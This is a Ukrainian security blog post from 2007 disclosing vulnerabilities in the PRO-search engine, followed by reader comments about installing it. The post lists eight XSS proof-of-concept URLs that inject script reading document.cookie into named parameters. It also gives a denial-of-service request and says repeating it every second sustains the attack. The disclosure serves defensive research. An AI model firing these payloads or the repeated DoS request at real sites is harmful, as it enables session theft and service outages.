Уразливості в PRO-search

19:22 24.12.2007

19.08.2007

Раніше я вже писав про XSS уразливість в PRO-search. І ось нещодавно, 11.08.2007, я знайшов нові уразливості в пошуковому движку PRO-search. Всього виявив 8 Cross-Site Scripting та одну Denial of Service уразливість.

Деталі уразливостей з’являться пізніше. Розробнику системи я вже про них повідомив.

24.12.2007

XSS:

Уразливості на головній сторінці в параметрах prot, host, path, name, ext, size, search_days, show_page.

http://site/?prot=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?host=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?path=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?name=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?ext=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?size=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?search_days=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/?show_page=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Denial of Service:

http://site/?show_page=20000&time=0

Пошуковець шукає по всім файлам, що може призвести до DoS (чим більше значення show_page, тим більша затримка сервера). DoS короткотривалий, тому для проведення DoS атаки потрібно регулярно (щосекундно) посилати запит до сервера.

Уразливі версії PRO-search 0.17.x та усі попередні версії.


4 відповідей на “Уразливості в PRO-search”

  1. lalex каже:

    Не подскажите как его установить
    очень интересно попробовать

  2. MustLive каже:

    lalex

    Скачай веб приложение с сайта производителя и установи (следуя инструкциям разработчиков). И тогда попробуешь PRO-search ;-) .

    При этом выкачай самую последнюю версию PRO-search. И если в ней не будут исправлены какие-либо из найденных мною уязвимостей, то тогда тебе нужно будет исправить их самому.

  3. lalex каже:

    http://pro.setun.net/search/search/doc/doc.html здесь нашол только под вин и ФриБСД машины, для моего любимого Линукса инструкций не нашол (возможно слеповат)
    если такой мануал существует прозьба дать линк
    P.S.(Спасибо за отписку на меил, полезный сервис)

  4. MustLive каже:

    lalex, о наличии инструкций под Линукс для PRO-search мне ничего не известно, т.к. не пользуюсь данным веб приложением (и сам его не устанавливал). Лишь нашёл в нём дыры, когда выявил данное приложение на одном веб сайте ;-) .

    Можешь обратиться к разработчику. Или самостотельно разобраться с установкой приложения (а имеющиеся инструкции под другие ОС могут мопочь).

Leave a Reply

You must be logged in to post a comment.